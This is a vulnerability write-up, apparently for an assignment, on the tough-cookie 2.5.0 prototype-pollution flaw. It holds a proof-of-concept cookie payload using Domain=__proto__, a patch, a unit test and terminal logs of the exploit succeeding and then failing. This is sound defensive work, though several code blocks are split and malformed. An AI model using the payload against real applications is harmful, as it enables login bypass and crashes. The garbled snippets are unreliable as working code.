

Vulnerability Research and Fix Documentation

1. Overview

This document details the research, discovery, and resolution of the critical vulnerability, CVE-2023-26136, in the tough-cookie package version 2.5.0. The goal of this task was to:

Understand the root cause of the vulnerability.

Create a patched version of the package without breaking compatibility.

Provide evidence of the vulnerability's resolution.

2. Vulnerability Description

CVE-2023-26136 is a critical vulnerability in the tough-cookie library. It allows attackers to exploit prototype pollution through improperly handled object creation when setting cookies. This can lead to serious consequences, including login bypass, application crashes or even arbitrary code execution.

3. Exploitation Example

A proof-of-concept (PoC) exploit for this vulnerability:

```
In [ ]: async function main() {  
  try {  
    var tough = require("tough-cookie");  
    var cookiejar = new tough.CookieJar(undefined, { rejectPublicSuffix: true });  
  
    await new Promise((resolve, reject) => {  
      cookiejar.setCookie(  
        "isLogin=polluted; Domain=__proto__; Path=/notauth",  
        "https://__proto__/admin",  
        { loose: true },  
        (err, cookie) => {  
          if (err) {  
            reject(err);  
          } else {  
            resolve(cookie);  
          }  
        }  
      );  
    });  
  }  
});  
  
var obj = {};  
console.log(obj["/notauth"]["isLogin"]);
```

```

        console.log("EXPLOITED SUCCESSFULLY");
    } catch (error) {
        console.error("Error:", error);
        console.log("EXPLOIT FAILED");
    }
}

main();

```

4. Patch Details

The root cause of the vulnerability was the use of plain JavaScript objects (`{}`), which are susceptible to prototype pollution. The solution involves replacing these objects with `Object.create(null)`, which creates objects without prototypes.

Patched changes in `lib/memstore.js`:

```

In [ ]: MemoryCookieStore.prototype.putCookie = function(cookie, cb) {
    if (!this.idx[cookie.domain]) {
        this.idx[cookie.domain] = Object.create(null);
    }
    if (!this.idx[cookie.domain][cookie.path]) {
        this.idx[cookie.domain][cookie.path] = Object.create(null);
    }
    this.idx[cookie.domain][cookie.path][cookie.key] = cookie;
    cb(null);
};

MemoryCookieStore.prototype.removeAllCookies = function(cb) {
    this.idx = Object.create(null);
    return cb(null);
};

```

5. Test Case

To verify the vulnerability fix, a new test was added:

```

In [ ]: const assert = require('assert');
const tough = require('tough-cookie');
const vows = require('vows'); // Make sure to require 'vows'

// Create a new cookie jar instance for the test
const jar = new tough.CookieJar(undefined, {
    rejectPublicSuffixes: false
});

// Define the test scenario
vows.describe('Prototype Pollution Test')
    .addBatch({
        'When setting a cookie with the domain __proto__: {
            topic: function() {
                // Attempt to pollute the prototype with a cookie
                jar.setCookieSync(
                    "Slonser=polluted; Domain=__proto__; Path=/notauth",
                    "https://__proto__/admin"
                );
            }
        }
    });

```

```

    );
    jar.setCookieSync(
        "Auth=Lol; Domain=google.com; Path=/notauth",
        "https://google.com/"
    );
    return {}; // return an empty object to check pollution
},
'should not pollute the prototype': function(topic) {
    const pollutedObject = topic;
    assert(pollutedObject["/notauth"] === undefined, 'Prototype pollu
    }
}
})
.export(module);

```

6. Files Created for Submission

index.js: Proof-of-concept exploit.

changes.diff: Patch file for modifying the vulnerable library, can be run by using git apply.

tough-cookie-2.5.0-patched.tgz: Packed patched version.

prototype_pollution_test.js: A unit test added to check if the vulnerability is fixed.

This documentation: Explanation of the vulnerability and steps taken.

7. How to Verify the Fix

Run the exploit using the vulnerable version (2.5.0):

```
' npm install tough-cookie@2.5.0 && node index.js '
```

Expected Output: "EXPLOITED SUCCESSFULLY."

```
' npm install ./tough-cookie-2.5.0-PATCHED.tgz && node index.js '
```

Expected Output: "EXPLOIT FAILED."

8. Commands and responses

(Taken from the GitHub codespace terminal)

running the test suite on regular v2.5.0 version and output:

```

@OhadRaviv845 →/workspaces/tough-cookie (v2.5.0-branch) $ npm test
> tough-cookie@2.5.0 test
> vows test/*_test.js

.....X.....
.....

Set/get cookie tests
X 0002
  » expected 1,
  got      0 (strictEqual)

0 !== 1
// /workspaces/tough-cookie/node_modules/vows/lib/assert/macros.js:14

X COMMAND0006
  » expected 1,
  got      0 (strictEqual)

0 !== 1
// /workspaces/tough-cookie/node_modules/vows/lib/assert/macros.js:14

X COMMAND0007
  » expected 1,
  got      0 (strictEqual)

0 !== 1
// /workspaces/tough-cookie/node_modules/vows/lib/assert/macros.js:14
X Broken » 656 honored · 3 broken (9.299s)

```

running the test suite on patched v2.5.0 version and output:

```

@OhadRaviv845 →/workspaces/tough-cookie (Patched_V2.5.0) $ npm test
> tough-cookie@2.5.0 test
> vows test/*_test.js

.....X.....
.....

Set/get cookie tests
X 0002
  » expected 1,
  got      0 (strictEqual)

0 !== 1
// /workspaces/tough-cookie/node_modules/vows/lib/assert/macros.js:14

X COMMAND0006
  » expected 1,
  got      0 (strictEqual)

0 !== 1
// /workspaces/tough-cookie/node_modules/vows/lib/assert/macros.js:14

X COMMAND0007
  » expected 1,
  got      0 (strictEqual)

0 !== 1
// /workspaces/tough-cookie/node_modules/vows/lib/assert/macros.js:14
X Broken » 657 honored · 3 broken (13.001s)

```

As you can see, there are 3 tests which fail the regular version which should remain untouched - therefore they also fail in the patched version and I didn't change anything for them. As you can see there is one more test in the patched version - that is the unit test that was required to be added to test specifically for the exploit.

Git apply changes - adds the file index.js and modifies memstore under lib (to prevent the exploit). That's one way to solve the exploit, the other one is to install the patch.

Git apply runs smoothly:

```

@OhadRaviv845 →/workspaces/tough-cookie (v2.5.0-branch) $ git apply changes.diff
@OhadRaviv845 →/workspaces/tough-cookie (v2.5.0-branch) $

```

The output after "running npm install tough-cookie@2.5.0 && node index.js":

```

@OhadRaviv845 →/workspaces/tough-cookie (v2.5.0-branch) $ npm install tough-cookie@2.5.0 && node index.js
up to date, audited 354 packages in 2s

3 packages are looking for funding
  run `npm fund` for details

32 vulnerabilities (7 moderate, 13 high, 12 critical)

To address issues that do not require attention, run:
  npm audit fix

To address all issues (including breaking changes), run:
  npm audit fix --force

Run `npm audit` for details.
Cookie="isLogin=polluted; Domain=__proto__; Path=/notauth; hostOnly=false; aAge=2ms; cAge=2ms"
EXPLOITED SUCCESSFULLY

```

The output after running " npm install ./tough-cookie-2.5.0-PATCHED.tgz && node index.js":

```
● @OhadRaviv845 →/workspaces/tough-cookie (Patched_V2.5.0) $ npm install ./tough-cookie-2.5.0-PATCHED.tgz && node index.js

changed 1 package, and audited 354 packages in 1s

3 packages are looking for funding
  run `npm fund` for details

32 vulnerabilities (7 moderate, 13 high, 12 critical)

To address issues that do not require attention, run:
  npm audit fix

To address all issues possible (including breaking changes), run:
  npm audit fix --force

Some issues need review, and may require choosing
a different dependency.

Run `npm audit` for details.
Error: TypeError: Cannot read properties of undefined (reading 'isLogin')
    at main (/workspaces/tough-cookie/index.js:22:36)
EXPLOIT FAILED
```

Running on Node.js 20 LTS:

```
● @OhadRaviv845 →/workspaces/tough-cookie (Patched_V2.5.0) $ node -v
v20.18.1
```

A link to the forked repository under my user with the v2.5.0:

<https://github.com/OhadRaviv845/tough-cookie/tree/v2.5.0-branch>

A link to the git tag of the patched version under my user:

<https://github.com/OhadRaviv845/tough-cookie/releases/tag/v2.5.0-patched>

A link to a Google Drive public access folder with artifacts from questions 1-3:

https://drive.google.com/drive/folders/1USbjXHMAw_fFVmBo3PSjJrRDfXu2BdaR?usp=drive_link

8. CI Tools Expertise

Jenkins: Advanced (used for build and deployment pipelines).

GitHub Actions: Intermediate (used for CI/CD automation).

9. Conclusion

In this assignment I have researched the prototype pollution vulnerability - the reason that allows the exploit and also how to fix it. I have created a patch in order for our clients to be able to carry on with the same version they have without having to check for all the other libraries they use for backwards compatibility. The patch is tested and ready for use.